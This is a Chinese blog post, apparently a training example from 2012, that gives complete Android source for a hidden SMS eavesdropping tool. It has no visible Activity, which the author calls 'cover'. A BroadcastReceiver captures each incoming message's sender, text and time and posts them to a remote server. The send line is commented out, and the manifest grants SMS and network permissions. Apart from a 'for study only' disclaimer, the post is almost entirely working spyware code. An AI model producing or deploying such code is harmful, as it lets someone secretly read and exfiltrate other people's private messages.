android短信监听工具
2012-03-02 16:20
260 查看
在学习本实例之前,读者请先了解一下android四大组件中的“广播接收者”的基本概念和使用。
由于是“监听程序”,所以就不需要建立Activity。这样也算是一种“遮掩”吧。使用BroadcastReceiver,就能达到这“不可告人”的目的。呵呵。当然,使用服务来开发此类应用,更加合适。这里就不再深入讨论“服务”了。本实例仅供学习参考,请勿非法用途。
注意修改Android项目文件的配置
由于是“监听程序”,所以就不需要建立Activity。这样也算是一种“遮掩”吧。使用BroadcastReceiver,就能达到这“不可告人”的目的。呵呵。当然,使用服务来开发此类应用,更加合适。这里就不再深入讨论“服务”了。本实例仅供学习参考,请勿非法用途。
package cn.itcast.sms; import java.sql.Date; import java.text.SimpleDateFormat; import java.util.HashMap; import java.util.Map; import cn.itcast.utils.SocketHttpRequester; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsMessage; import android.util.Log; public class SMSBroadcastReceiver extends BroadcastReceiver { //在接受者这边获取短信相关信息,将相关信息发到服务器上进行窃听 @Override public void onReceive(Context context, Intent intent) { Object[] pduses = (Object[])intent.getExtras().get("pdus"); for(Object pdus : pduses){ byte[] pdusmessage = (byte[]) pdus;//没一条短信 SmsMessage sms = SmsMessage.createFromPdu(pdusmessage); String mobile = sms.getOriginatingAddress();//得到电话号码 String content = sms.getMessageBody();//得到短信的内容 Date date = new Date(sms.getTimestampMillis());//得到发送短信具体时间 //2009-10-12 12:21:23 SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//为实践设置格式 String sendtime = format.format(date); Map<String, String> params = new HashMap<String, String>(); params.put("method", "getSMS");//将与短信相关的内容全部都放到集合里 params.put("mobile", mobile); params.put("content", content); params.put("sendtime", sendtime); try {//利用socket向服务器发送窃听到的内容 //SocketHttpRequester.post("http://192.168.1.100:8080/videoweb/video/manage.do", params, "UTF-8"); } catch (Exception e) { Log.e("SMSBroadcastReceiver", e.toString()); } } } }
注意修改Android项目文件的配置
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="cn.itcast.sms" android:versionCode="1" android:versionName="1.0"> <application android:icon="@drawable/icon" android:label="@string/app_name"> <receiver android:name=".SMSBroadcastReceiver"> <intent-filter> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver> </application> <uses-sdk android:minSdkVersion="8" /> <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 --> <!-- 访问网络的权限 --> <uses-permission android:name="android.permission.INTERNET"/> </manifest>
相关文章推荐
- android短信监听工具(示例代码)
- android短信监听工具(示例代码)
- android短信监听工具
- android 监听短信数据库,制作短信控制工具,控制别人的手机!!(一)
- android 监听短信数据库,制作短信控制工具,控制别人的手机!!(一)
- android 监听短信数据库,制作短信控制工具,控制别人的手机!!(一)
- android短信监听工具
- Android-短信监听工具
- Android手机上监听短信的两种方式
- Android开发之监听或获取手机短信内容
- Android开发点滴(五) 监听短信收取
- Android开发之监听或获取手机短信内容
- (转)[Android实例] 关于使用ContentObserver监听不到删除短信会话的解决方案
- android监听短信
- Android 短信监听及用途分析
- Android 短信、来电监听,并将信息发送到指定号码
- android中短信监听
- Android 监听短信(同时监听广播和数据库)
- Android监听收到的短信
- Android 短信监听